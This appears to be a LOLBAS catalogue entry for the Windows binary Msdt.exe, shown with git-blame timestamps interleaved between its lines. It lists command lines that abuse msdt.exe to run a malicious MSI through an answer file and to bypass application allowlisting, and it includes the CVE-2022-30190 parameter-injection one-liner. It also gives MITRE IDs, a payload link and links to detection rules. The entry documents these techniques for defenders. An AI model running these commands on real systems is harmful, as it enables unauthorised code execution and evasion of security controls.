2018-06-09 00:15:06 +02:00
---
Name : Msdt.exe
2021-01-10 16:04:52 +01:00
Description : Microsoft diagnostics tool
2018-09-24 21:59:43 +02:00
Author : 'Oddvar Moe'
2021-01-10 16:04:52 +01:00
Created : 2018-05-25
2018-06-09 00:15:06 +02:00
Commands :
2018-09-24 21:59:43 +02:00
- Command : msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
2018-06-09 00:15:06 +02:00
Description : Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.
2018-09-24 21:59:43 +02:00
Usecase : Execute code
Category : Execute
Privileges : User
MitreID : T1218
2021-12-14 16:50:17 +01:00
OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
2018-09-24 21:59:43 +02:00
- Command : msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
Description : Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.
Usecase : Execute code bypass Application whitelisting
2022-09-11 04:55:32 +02:00
Category : AWL Bypass
2018-09-24 21:59:43 +02:00
Privileges : User
MitreID : T1218
2021-12-14 16:50:17 +01:00
OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
2022-11-11 17:42:44 +01:00
- Command : msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"
Description : Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.
Usecase : Execute code bypass Application allowlisting
Category : AWL Bypass
Privileges : User
MitreID : T1202
OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
2018-12-10 14:28:12 +01:00
Full_Path :
2018-09-24 21:59:43 +02:00
- Path : C:\Windows\System32\Msdt.exe
- Path : C:\Windows\SysWOW64\Msdt.exe
2021-01-10 16:04:52 +01:00
Code_Sample :
2021-11-15 14:19:03 +01:00
- Code : https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/PCW8E57.xml
2018-09-24 21:59:43 +02:00
Detection :
2022-11-11 17:42:44 +01:00
- Sigma : https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml
- Sigma : https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_msdt.yml
2021-11-15 14:19:03 +01:00
- Elastic : https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
2018-06-09 00:15:06 +02:00
Resources :
2018-09-24 21:59:43 +02:00
- Link : https://web.archive.org/web/20160322142537/https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/
- Link : https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
- Link : https://twitter.com/harr0ey/status/991338229952598016
2022-11-11 17:42:44 +01:00
- Link : https://twitter.com/nas_bench/status/1531944240271568896
2018-09-24 21:59:43 +02:00
Acknowledgement :
2022-11-11 17:42:44 +01:00
- Person : Nasreddine Bencherchali
Handle : '@nas_bench'